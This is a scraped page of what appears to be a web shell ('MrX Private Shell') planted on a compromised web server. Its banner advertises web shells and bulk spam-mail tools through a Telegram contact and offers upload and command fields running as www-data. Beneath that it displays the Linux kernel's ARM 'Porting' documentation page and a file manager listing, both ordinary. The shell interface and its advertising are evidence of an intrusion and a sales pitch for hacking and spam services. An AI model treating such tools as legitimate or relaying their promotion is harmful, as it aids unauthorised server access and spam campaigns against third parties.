__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Porting &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Feature status on arm architecture" href="features.html" />
    <link rel="prev" title="vlocks for Bare-Metal Mutual Exclusion" href="vlocks.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">ARM Architecture</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="arm.html">ARM Linux 2.6 and upper</a></li>
<li class="toctree-l3"><a class="reference internal" href="booting.html">Booting ARM Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="cluster-pm-race-avoidance.html">Cluster-wide Power-up/power-down race avoidance algorithm</a></li>
<li class="toctree-l3"><a class="reference internal" href="firmware.html">Interface for registering and calling firmware-specific operations for ARM</a></li>
<li class="toctree-l3"><a class="reference internal" href="interrupts.html">Interrupts</a></li>
<li class="toctree-l3"><a class="reference internal" href="kernel_mode_neon.html">Kernel mode NEON</a></li>
<li class="toctree-l3"><a class="reference internal" href="kernel_user_helpers.html">Kernel-provided User Helpers</a></li>
<li class="toctree-l3"><a class="reference internal" href="memory.html">Kernel Memory Layout on ARM Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="mem_alignment.html">Memory alignment</a></li>
<li class="toctree-l3"><a class="reference internal" href="tcm.html">ARM TCM (Tightly-Coupled Memory) handling in Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="setup.html">Kernel initialisation parameters on ARM Linux</a></li>
<li class="toctree-l3"><a class="reference internal" href="swp_emulation.html">Software emulation of deprecated SWP instruction (CONFIG_SWP_EMULATE)</a></li>
<li class="toctree-l3"><a class="reference internal" href="uefi.html">The Unified Extensible Firmware Interface (UEFI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="vlocks.html">vlocks for Bare-Metal Mutual Exclusion</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">Porting</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">Feature status on arm architecture</a></li>
<li class="toctree-l3"><a class="reference internal" href="index.html#soc-specific-documents">SoC-specific documents</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../x86/index.html">x86-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/arm/porting.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="porting">
<h1>Porting<a class="headerlink" href="#porting" title="Link to this heading">¶</a></h1>
<p>Taken from list archive at <a class="reference external" href="http://lists.arm.linux.org.uk/pipermail/linux-arm-kernel/2001-July/004064.html">http://lists.arm.linux.org.uk/pipermail/linux-arm-kernel/2001-July/004064.html</a></p>
<section id="initial-definitions">
<h2>Initial definitions<a class="headerlink" href="#initial-definitions" title="Link to this heading">¶</a></h2>
<p>The following symbol definitions rely on you knowing the translation that
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">__virt_to_phys()</span></code> does for your machine.  This macro converts the passed
virtual address to a physical address.  Normally, it is simply:</p>
<blockquote>
<div><p>phys = virt - PAGE_OFFSET + PHYS_OFFSET</p>
</div></blockquote>
</section>
<section id="decompressor-symbols">
<h2>Decompressor Symbols<a class="headerlink" href="#decompressor-symbols" title="Link to this heading">¶</a></h2>
<dl>
<dt>ZTEXTADDR</dt><dd><p>Start address of decompressor.  There’s no point in talking about
virtual or physical addresses here, since the MMU will be off at
the time when you call the decompressor code.  You normally call
the kernel at this address to start it booting.  This doesn’t have
to be located in RAM, it can be in flash or other read-only or
read-write addressable medium.</p>
</dd>
<dt>ZBSSADDR</dt><dd><p>Start address of zero-initialised work area for the decompressor.
This must be pointing at RAM.  The decompressor will zero initialise
this for you.  Again, the MMU will be off.</p>
</dd>
<dt>ZRELADDR</dt><dd><p>This is the address where the decompressed kernel will be written,
and eventually executed.  The following constraint must be valid:</p>
<blockquote>
<div><p>__virt_to_phys(TEXTADDR) == ZRELADDR</p>
</div></blockquote>
<p>The initial part of the kernel is carefully coded to be position
independent.</p>
</dd>
<dt>INITRD_PHYS</dt><dd><p>Physical address to place the initial RAM disk.  Only relevant if
you are using the bootpImage stuff (which only works on the old
<code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">param_struct</span></code>).</p>
</dd>
<dt>INITRD_VIRT</dt><dd><p>Virtual address of the initial RAM disk.  The following  constraint
must be valid:</p>
<blockquote>
<div><p>__virt_to_phys(INITRD_VIRT) == INITRD_PHYS</p>
</div></blockquote>
</dd>
<dt>PARAMS_PHYS</dt><dd><p>Physical address of the <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">param_struct</span></code> or tag list, giving the
kernel various parameters about its execution environment.</p>
</dd>
</dl>
</section>
<section id="kernel-symbols">
<h2>Kernel Symbols<a class="headerlink" href="#kernel-symbols" title="Link to this heading">¶</a></h2>
<dl>
<dt>PHYS_OFFSET</dt><dd><p>Physical start address of the first bank of RAM.</p>
</dd>
<dt>PAGE_OFFSET</dt><dd><p>Virtual start address of the first bank of RAM.  During the kernel
boot phase, virtual address PAGE_OFFSET will be mapped to physical
address PHYS_OFFSET, along with any other mappings you supply.
This should be the same value as TASK_SIZE.</p>
</dd>
<dt>TASK_SIZE</dt><dd><p>The maximum size of a user process in bytes.  Since user space
always starts at zero, this is the maximum address that a user
process can access+1.  The user space stack grows down from this
address.</p>
<p>Any virtual address below TASK_SIZE is deemed to be user process
area, and therefore managed dynamically on a process by process
basis by the kernel.  I’ll call this the user segment.</p>
<p>Anything above TASK_SIZE is common to all processes.  I’ll call
this the kernel segment.</p>
<p>(In other words, you can’t put IO mappings below TASK_SIZE, and
hence PAGE_OFFSET).</p>
</dd>
<dt>TEXTADDR</dt><dd><p>Virtual start address of kernel, normally PAGE_OFFSET + 0x8000.
This is where the kernel image ends up.  With the latest kernels,
it must be located at 32768 bytes into a 128MB region.  Previous
kernels placed a restriction of 256MB here.</p>
</dd>
<dt>DATAADDR</dt><dd><p>Virtual address for the kernel data segment.  Must not be defined
when using the decompressor.</p>
</dd>
<dt>VMALLOC_START / VMALLOC_END</dt><dd><p>Virtual addresses bounding the <a class="reference internal" href="../../core-api/mm-api.html#c.vmalloc" title="vmalloc"><code class="xref c c-func docutils literal notranslate"><span class="pre">vmalloc()</span></code></a> area.  There must not be
any static mappings in this area; vmalloc will overwrite them.
The addresses must also be in the kernel segment (see above).
Normally, the <a class="reference internal" href="../../core-api/mm-api.html#c.vmalloc" title="vmalloc"><code class="xref c c-func docutils literal notranslate"><span class="pre">vmalloc()</span></code></a> area starts VMALLOC_OFFSET bytes above the
last virtual RAM address (found using variable high_memory).</p>
</dd>
<dt>VMALLOC_OFFSET</dt><dd><p>Offset normally incorporated into VMALLOC_START to provide a hole
between virtual RAM and the vmalloc area.  We do this to allow
out of bounds memory accesses (eg, something writing off the end
of the mapped memory map) to be caught.  Normally set to 8MB.</p>
</dd>
</dl>
</section>
<section id="architecture-specific-macros">
<h2>Architecture Specific Macros<a class="headerlink" href="#architecture-specific-macros" title="Link to this heading">¶</a></h2>
<dl>
<dt>BOOT_MEM(pram,pio,vio)</dt><dd><p><cite>pram</cite> specifies the physical start address of RAM.  Must always
be present, and should be the same as PHYS_OFFSET.</p>
<p><cite>pio</cite> is the physical address of an 8MB region containing IO for
use with the debugging macros in arch/arm/kernel/debug-armv.S.</p>
<p><cite>vio</cite> is the virtual address of the 8MB debugging region.</p>
<p>It is expected that the debugging region will be re-initialised
by the architecture specific code later in the code (via the
MAPIO function).</p>
</dd>
<dt>BOOT_PARAMS</dt><dd><p>Same as, and see PARAMS_PHYS.</p>
</dd>
<dt>FIXUP(func)</dt><dd><p>Machine specific fixups, run before memory subsystems have been
initialised.</p>
</dd>
<dt>MAPIO(func)</dt><dd><p>Machine specific function to map IO areas (including the debug
region above).</p>
</dd>
<dt>INITIRQ(func)</dt><dd><p>Machine specific function to initialise interrupts.</p>
</dd>
</dl>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/arm/porting.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
google Folder 0755
keystone Folder 0755
nwfpe Folder 0755
omap Folder 0755
pxa Folder 0755
sa1100 Folder 0755
samsung Folder 0755
spear Folder 0755
sti Folder 0755
stm32 Folder 0755
sunxi Folder 0755
vfp Folder 0755
arm.html File 21.31 KB 0644
booting.html File 20.57 KB 0644
cluster-pm-race-avoidance.html File 31.14 KB 0644
features.html File 19.66 KB 0644
firmware.html File 13.86 KB 0644
index.html File 16.01 KB 0644
interrupts.html File 18.73 KB 0644
ixp4xx.html File 19.27 KB 0644
kernel_mode_neon.html File 18.64 KB 0644
kernel_user_helpers.html File 20.2 KB 0644
marvell.html File 59.02 KB 0644
mem_alignment.html File 13.41 KB 0644
memory.html File 16.07 KB 0644
microchip.html File 20.99 KB 0644
netwinder.html File 16.51 KB 0644
porting.html File 16.77 KB 0644
setup.html File 15 KB 0644
sunxi.html File 18.79 KB 0644
swp_emulation.html File 11.99 KB 0644
tcm.html File 17.34 KB 0644
uefi.html File 14.41 KB 0644
vlocks.html File 18.73 KB 0644
Filemanager